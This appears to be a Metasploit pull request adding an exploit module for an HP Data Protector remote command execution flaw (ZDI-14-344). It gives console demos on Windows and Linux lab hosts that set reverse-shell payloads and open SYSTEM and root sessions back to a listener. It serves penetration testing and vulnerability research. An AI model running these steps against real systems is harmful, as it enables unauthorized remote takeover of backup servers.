rapid7/metasploit-framework — pull request #4001 by jvazquez-r7 (2014-10-12 02:40:19+00:00)
Title: Add module for ZDI-14-344, HP Data Protector Remote Command Execution Vulnerability

Tested on Windows 2008 R2 64 bits and Centos 6 64 bits. With HP Data Protector 9.

Verification
------

- [ ] Install a windows or linux operating system (or both) (Windows 2008 R2 64 bits and Centos 6 64 bits used for testing)
- [ ] Install HP Data Protector 9. Install the Cell Manager role. Software can be downloaded from: http://www8.hp.com/us/en/software-solutions/software.html?compURI=1175640#.VDnqCmRdXWo
- [ ] Test like in the demo, hopefully get sessions!

DEMO
----

* Windows

```

msf > use exploit/multi/misc/hp_data_protector_exec_integutil
msf exploit(hp_data_protector_exec_integutil) > set rhost 172.16.158.252
rhost => 172.16.158.252
msf exploit(hp_data_protector_exec_integutil) > check

[*] 172.16.158.252:5555 - Windows / HP Data Protector version 09.00 found
[*] 172.16.158.252:5555 - The target appears to be vulnerable.
msf exploit(hp_data_protector_exec_integutil) > show targets

Exploit targets:

Id Name
-- ----
0 Linux 64 bits / HP Data Protector 9
1 Windows 64 bits / HP Data Protector 9

msf exploit(hp_data_protector_exec_integutil) > set target 1
target => 1
msf exploit(hp_data_protector_exec_integutil) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(hp_data_protector_exec_integutil) > set lhost 172.16.158.1
msf exploit(hp_data_protector_exec_integutil) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.252:5555 - Leaking the HP Data Protector directory...
[+] 172.16.158.252:5555 - HP Data Protector directory found on C:\Program Files\OmniBack\
[*] 172.16.158.252:5555 - Exploiting through Powershell...
[*] Sending stage (972288 bytes) to 172.16.158.252
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.252:54336) at 2014-10-11 21:35:45 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-U8VOEHD956A
OS : Windows 2008 R2 (Build 7600).
Architecture : x64
System Language : en_US
Meterpreter : x64/win64
emeterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 172.16.158.252 - Meterpreter session 2 closed. Reason: User exit
```

* Linux

```
msf exploit(hp_data_protector_exec_integutil) > set rhost 172.16.158.132
rhost => 172.16.158.132
msf exploit(hp_data_protector_exec_integutil) > check

[*] 172.16.158.132:5555 - Linux / HP Data Protector found
[*] 172.16.158.132:5555 - The target service is running, but could not be validated.
msf exploit(hp_data_protector_exec_integutil) > set target 0
target => 0
msf exploit(hp_data_protector_exec_integutil) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(hp_data_protector_exec_integutil) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(hp_data_protector_exec_integutil) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.132:5555 - Leaking the HP Data Protector directory...
[+] 172.16.158.132:5555 - HP Data Protector directory found on /opt/omni/
[*] 172.16.158.132:5555 - Exploiting payload...
[*] Command shell session 3 opened (172.16.158.1:4444 -> 172.16.158.132:50803) at 2014-10-11 21:36:18 -0500

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:inetd_child_t:s0-s0:c0.c1023
^C
Abort session 3? [y/N] y

[*] 172.16.158.132 - Command shell session 3 closed. Reason: User exit
```